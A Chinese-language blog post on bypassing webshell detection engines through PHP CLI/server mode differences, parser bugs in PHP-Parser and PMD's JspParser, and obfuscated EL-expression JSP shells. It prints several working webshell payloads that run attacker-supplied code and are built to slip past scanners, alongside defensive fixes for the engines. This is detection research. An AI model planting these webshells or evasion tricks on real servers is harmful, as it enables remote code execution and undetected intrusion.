这其实是一篇写于 2022 年初的老文,不过鉴于很久没发过文章了,就来凑个数。
本文不再赘述编码、替换等通用绕过技术,也不太多的深入检测的核心原理,而是列举一些检测周边的 bug,这些 bug 基本原理都不复杂,但也确确实实的在影响检测效果,而且可能也是横跨多个引擎的通用绕过技术。
PHP Server 模式和 Cli 模式行为不同
正常情况下,我们运行 PHP 网站都是 PHP Server 的模式,但是在一些 Webshell 检测中,是使用的 Cli 模式,简单来说就是 php sample.php
这样来模拟执行和检测的。这样做的原因可能是:
- 避免检测过程中出现 bug 导致整个进程崩溃,影响其他检测。Cli 模式下,每个检测都对应一个单独的进程;
- 方便给不同的检测样本添加不同的时间和内存限制。
这两种模式下,PHP 运行的行为基本是一样的,但是也存在细微的差别,这就可以用于来绕过 Webshell 检测。
shebang line
为了方便和其他脚本解释器一样,直接使用 ./x.php
的形式运行 PHP 脚本,PHP 解释器也提供了 shebang line 的支持,但是 PHP 对 shebang line 的支持和 Bash、Python 等比还有些不一样。
shebang line 是 #!/usr/bin/php
、#!/bin/bash
、#!/usr/bin/python
的形式,对于 Bash 和 Python 来说,语言的注释符就是 #
,所以这一行自然就忽略掉了,不需要特殊的处理。而对于 PHP 来说,#
不是注释符,需要进行特殊的处理,否则就会出现语法错误。所以 Cli 模式下,会特殊的判断和跳过,而 Server 模式下面不会去处理。
#! <?php echo 100*100;
<?php
echo 200*200;
Server 模式下的输出是
#! 10000 40000
说明 #!
被当做普通的字符输出,后面的两段 PHP 代码正常进行了数学运算。而 Cli 模式下,控制台的输出只有 40000
,说明第一行被忽略了。
基于这个原理,我们就可以构造一个 Webshell 来让 Cli 模式检测的时候被忽略,但是实际 Server 模式下还可以使用。
#! <?php $x=$_GET['x']; eval($x);
Output Buffering
利用 ob_get_contents
可以获取 PHP 代码在执行的时候已经输出到缓冲区的内容
<?php
echo "Hello \n";
$out1 = ob_get_contents();
echo "World\n";
$out2 = ob_get_contents();
var_dump($out1, $out2);
?>
Server 模式下的输出是
Hello
World
string(7) "Hello "
string(13) "Hello World "
在 Cli 模式下 output_buffering
默认为 0,只有当它不为 0 的时候,相当于隐式调用了 ob_start()
,ob_get_contents
可以拿到输出缓冲,否则拿不到内容,所以 Cli 模式下的输出是
Hello
World
bool(false)
bool(false)
基于这个原理,我们就可以构造一个 Webshell 来让 Cli 模式检测的时候被忽略,但是实际 Server 模式下还可以使用:
<?php
echo $_GET['x'];
eval(ob_get_contents());
Short Tag
PHP 代码有两种标签写法,<?php
和 <?
,第二种写法需要开启 short_open_tag
选项才能使用。
比如 PHP 文件内容为
<?
echo 100*100;
使用 php -d short_open_tag=yes short.php
运行则输出 10000
说明 PHP 代码正常执行了。如果不加 short_open_tag=yes
则整个代码内容输出出来,说明没有被解析和执行。
如果 PHP 文件是长标签的形式,但是又加了 short_open_tag=yes
了会怎么样呢?经过实验可以发现还是可以执行的,也就是
短标签文件 | 长标签文件 | |
---|---|---|
short_open_tag=yes | 可以执行 | 可以执行 |
short_open_tag=no | 不能执行 | 可以执行 |
为了避免某些 PHP 环境开启了短标签,被上传短标签的 Webshell,在直觉上,只要给引擎开启短标签支持就行。但是这样有一个非预期的副作用,就是在 WebShell 引擎引发语法错误,但是没开启短标签的环境(也就是大部分的生产环境)是可以执行的。
<?<?php
$x = $_GET['x'];
eval($x);
解决办法是修改 PHP 的语法规则,在发生这种错误的时候,关闭短标签重试一遍解析和检测。
寻找三方库的 bug
PHP-Parser 错误处理导致内存溢出
在 PHP Webshell 检测中,有的引擎会先使用 PHP-Parser 来进行预处理,尽可能的降低进入沙箱检测的文件数量,比如去除只有一个 Class 定义但是没有实例化和调用的文件等等。
有一次偶然将一个 ELF 二进制文件传入 Webshell 引擎进行检测的时候,发现引擎在检测了很长时间之后给出了一个检测失败的结果,这个不太符合预期,因为这种文件里面都没有 <?php
这种标签,那应该直接就放行了才对。
后面经过一些 debug,发现是 PHP-Parser 为了提供一些更加友好的错误信息,如果解析过程中出现错误,它不会直接报错,而是会保存下来,并尽力的去继续解析,在最后统一的抛出错误。这个文件就是触发了这个 feature,需要保存非常非常多的错误,最终导致内存溢出。
修复的方法也很简单,patch 一下这个库,在错误超过阈值之后就忽略掉,不再保存。
--- Collecting.php 2022-03-18 17:43:23.388998070 +0800
+++ Collecting.php.dup 2022-03-18 17:36:01.501810566 +0800
@@ -16,6 +16,9 @@ class Collecting implements ErrorHandler
private $errors = [];
public function handleError(Error $error) {
+ if (count($this->errors) > 50 ) {
+ return;
+ }
$this->errors[] = $error;
}
net.sourceforge.pmd.lang.jsp.JspParser 解析优先级问题
类似上述 PHP 检测的需求,有的 JSP Webshell 检测中,使用了 net.sourceforge.pmd.lang.jsp.JspParser
这个库进行初筛,比如判断一些敏感函数调用等等,这个库的问题更多。
比如
<!-- \u003c\u0025<%Runtime.getRuntime().exec(request.getParameter("test"));%> -->
<!--
是 HTML 的注释,如果 JSP 代码在 HTML 注释中是不影响执行的,只不过渲染出来的内容在浏览器上是看不到的。但是这个库有个解析上优先级的问题,如果 JSP 代码在 HTML 注释中,那它整个 AST 节点都会变成 HTML 注释类型的,而不是 HTML 注释节点内嵌一个 JSP 代码节点,这样就造成遍历 AST 的时候无法访问到对应的 JSP 代码节点,产生一些初筛上问题。
在 Tomcat 上,这个实现是符合预期的,生成的 Java 代码如下:
out.write("<!-- \\u003c\\u0025");
Runtime.getRuntime().exec(request.getParameter("test"));
out.write(" -->");
既然需要使用 net.sourceforge.pmd.lang.jsp.JspParser
进行初筛之后还要使用 Tomcat 进行编译,那也可以直接使用 Tomcat 进行解析获取 AST,将初筛逻辑插入到了 Tomcat 内部的解析逻辑中,如果初筛发现这一定不是一个 Webshell 直接抛出一个特殊的异常结束编译就可以了,其他需要的信息也可以通过相关的 context 进行传递。
不出现敏感字符串的 EL 表达式 Webshell
在一些资料中,为了避免 JSP Webshell 中出现 <%
等标记,会使用了 EL 表达式来实现部分功能,比如
${Runtime.getRuntime().exec(param.a)}
${''.getClass().forName(param.c).newInstance()
.getEngineByName("javascript").eval(param.s)}
但是这样的问题是 EL 表达式中还是会出现 Runtime
、getEngineByName
等关键词,即使使用反射也还一定会有 forName
的函数名的出现,可能会被关键词命中。
其实在 EL 表达式中,是可以类似 JavaScript 一样,使用 a["b"]
或者 a.b
这两种方法来获取属性的,如果把函数名或者属性变成字符串,那去混淆就简单多了,比如
${"".getClass().forName("javax.script.ScriptEngineManager")
.newInstance()
.getEngineByName("JavaScript")
.eval(" __SCRIPT__")}
就可以变成
${""["getClass"]()
["forName"]("javax.script.ScriptEngineManager")
["newInstance"]()
["getEngineByName"]("JavaScript")
["eval"]("__SCRIPT__")}
其中每一个字符串都可以使用 param.xxx
的参数来替换,或者使用 EL 表达式进行拼接转换,比如
${""["getC"+="lass"]()
[param.a](param.b)
[param.c]()
[parm.d](param.e)
[param.f](param.g)}
这样就可以使用不出现任何敏感字符的的 EL 表达式实现全功能的 Webshell 了。
这里再提一个 net.sourceforge.pmd.lang.jsp.JspParser
的 bug。它无法解析没有 JSP 标签,只有一个 el 表达式的文件。这也会产生一些绕过行为。
tomcat-japser 对 Bom 头和编码的处理
这个内容暂时不方便多说,简而言之就是可以构造一个样本,让两个不同版本的 tomcat-jasper 编译结果不一致, 其中一个是正常解析,另外一个是无法解析的,有兴趣的可以去翻下代码尝试去构造下。